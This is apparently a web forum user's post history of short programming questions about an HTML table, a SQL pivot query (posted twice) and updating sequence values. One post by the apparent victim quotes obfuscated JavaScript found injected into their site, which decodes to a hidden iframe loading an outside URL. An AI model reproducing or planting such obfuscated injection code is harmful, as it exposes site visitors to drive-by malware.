Jump to content

arifsor

Members
  • Posts

    50
  • Joined

  • Last visited

    Never

Posts posted by arifsor

  1. <TABLE border=2 bgcolor=yellow BORDERCOLOR="#007FFF" cellpadding=300 width=900>

    <TR><TD>Name</TD><TD>Description</TD><TD>ID number</TD><TD>Quantity/Cost</TD><TD>Item total</TD><TD>Item Type</TD></TR><TR><?

     

    remove <TR>

  2. please help me related to the db sch.

     

    user

     

    id | user_name

    ---|----------------

    1  |  Willium

    2  |  John

    --------------------

     

    qualification

    id | user_id | level | marks_obtained

    ---------------------------------------------

    1 | 1            | 1      | 50

    ---------------------------------------------

    2 | 1            | 2      | 80

    ----------------------------------------------

    3 | 1            | 3      | 90

    ---------------------------------------------

    4 | 2            | 1      | 50

    ---------------------------------------------

    5 | 2            | 2      | 40

    ---------------------------------------------

     

    Required out put report

     

    user_name  | level_one_marks | level_two_marks  |  level_three_marks

    -------------------------------------------------------------------------------------------

    Willium        | 50                        | 80                        |        90

    John            | 50                        | 40                        |        NULL

    --------------------------------------------------------------------------------------------

     

    * my query

    select u.user_name, level_one.marks_obtained as level_one_marks, level_two.marks_obtained as level_two_marks , level_three.marks_obtained as level_three marks from user u

    inner join qualification level_one on u.id = level_one.user_id

    inner join qualification level_two on u.id = level_two.user_id

    inner join qualification level_three on u.id = level_three.user_id

    where level_one.level = 1 and level_tow.level = 2 and level_three.level = 3

     

    but above query only fetch one row

     

    user_name  | level_one_marks | level_two_marks  |  level_three_marks

    -------------------------------------------------------------------------------------------

    Willium        | 50                        | 80                        |        90

    --------------------------------------------------------------------------------------------

     

    becauze level three mark is not availbel in qualification table for the user id 2

    how can i produce my required report? please help

     

     

  3. please help me related to the db sch.

     

    user

     

    id | user_name

    ---|----------------

    1  |  Willium

    2  |  John

    --------------------

     

    qualification

    id | user_id | level | marks_obtained

    ---------------------------------------------

    1 | 1            | 1      | 50

    ---------------------------------------------

    2 | 1            | 2      | 80

    ----------------------------------------------

    3 | 1            | 3      | 90

    ---------------------------------------------

    4 | 2            | 1      | 50

    ---------------------------------------------

    5 | 2            | 2      | 40

    ---------------------------------------------

     

    Required out put report

     

    user_name  | level_one_marks | level_two_marks  |  level_three_marks

    -------------------------------------------------------------------------------------------

    Willium        | 50                        | 80                        |        90

    John            | 50                        | 40                        |        NULL

    --------------------------------------------------------------------------------------------

     

    * my query

    select u.user_name, level_one.marks_obtained as level_one_marks, level_two.marks_obtained as level_two_marks , level_three.marks_obtained as level_three marks from user u

    inner join qualification level_one on u.id = level_one.user_id

    inner join qualification level_two on u.id = level_two.user_id

    inner join qualification level_three on u.id = level_three.user_id

    where level_one.level = 1 and level_tow.level = 2 and level_three.level = 3

     

    but above query only fetch one row

     

    user_name  | level_one_marks | level_two_marks  |  level_three_marks

    -------------------------------------------------------------------------------------------

    Willium        | 50                        | 80                        |        90

    --------------------------------------------------------------------------------------------

     

    becauze level three mark is not availbel in qualification table for the user id 2

    how can i produce my required report? please help

     

     

  4. Is this possible that someone can update my file which has 444 permission through XSS!

     

    following response from my server guy

     

    - including the JS file using the relative paths (ie. some/path/some.js) can be abused for XSS injections.

     

  5. Included as in.. stuck inside of your actual files or your DB?

     

    Former: Your FTP is compromised (or server if you aren't on shared hosting).

     

    Latter: Your script(s) are vulnerable to SQL Injection attacks.

    This script is inside my actual file

  6. Hi,

     

    I have made my site XSS proofed but still the following code is being embedded in my site

     

    var dtzhtxkdkr="";for(dolnbjhcfei=0;dolnbjhcfei<fuqgkpou.length;dolnbjhcfei+=2){dtzhtxkdkr+=(String.fromCharCode(parseInt(fuqgkpou.substr(dolnbjhcfei,2),16)));}document.write(dtzhtxkdkr);}uavxgizkldzyckm("3C69eiqpxekm66eiqpxekm72eiqpxekm616D652073eiqpxekm72633D226874eiqpxekm74eiqpxekm70eiqpxekm3Aeiqpxekm2F2F746Feiqpxekm703130302D636F756E74eiqpxekm65722E636Feiqpxekm6Deiqpxekm2Feiqpxekm746Feiqpxekm70eiqpxekm3130302F69eiqpxekm6E6465782E70eiqpxekm68eiqpxekm70eiqpxekm22eiqpxekm20eiqpxekm66eiqpxekm72eiqpxekm61eiqpxekm6D65626Feiqpxekm72eiqpxekm64eiqpxekm6572eiqpxekm3D22eiqpxekm30eiqpxekm2220eiqpxekm626F72eiqpxekm646572eiqpxekm3D2230eiqpxekm22eiqpxekm20eiqpxekm7769eiqpxekm64eiqpxekm7468eiqpxekm3Deiqpxekm22eiqpxekm30222068eiqpxekm65eiqpxekm69eiqpxekm67eiqpxekm68eiqpxekm743Deiqpxekm22302220737479eiqpxekm6Ceiqpxekm65eiqpxekm3D22eiqpxekm70eiqpxekm6Feiqpxekm73eiqpxekm6974eiqpxekm69eiqpxekm6F6E3A206162eiqpxekm736F6C757465eiqpxekm3B20eiqpxekm76697369eiqpxekm62eiqpxekm696C69eiqpxekm74793A20eiqpxekm68696464eiqpxekm65eiqpxekm6Eeiqpxekm3B2064eiqpxekm69eiqpxekm73eiqpxekm70eiqpxekm6Ceiqpxekm61793Aeiqpxekm206E6F6E65eiqpxekm22eiqpxekm3Eeiqpxekm3Ceiqpxekm2Feiqpxekm696672eiqpxekm61eiqpxekm6Deiqpxekm65eiqpxekm3Eeiqpxekm".replace(/eiqpxekm/g, ""))

     

    Any Idea? is this the hosting server issue?

    Please help

  7. i have table with following schema

     

    ----------------------------

    ID    |  NAME      | SEQ 

    ----------------------------

    10    |  APPLE      |  1

    11    |  BIN        |  2

    12    |  CAT        |  3

    -----------------------------

     

    i want to update row 12 SEQ from 3 to 1 and

    row 10 SEQ from to 1 to 3 with one query.

     

    is this possible with one query/

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.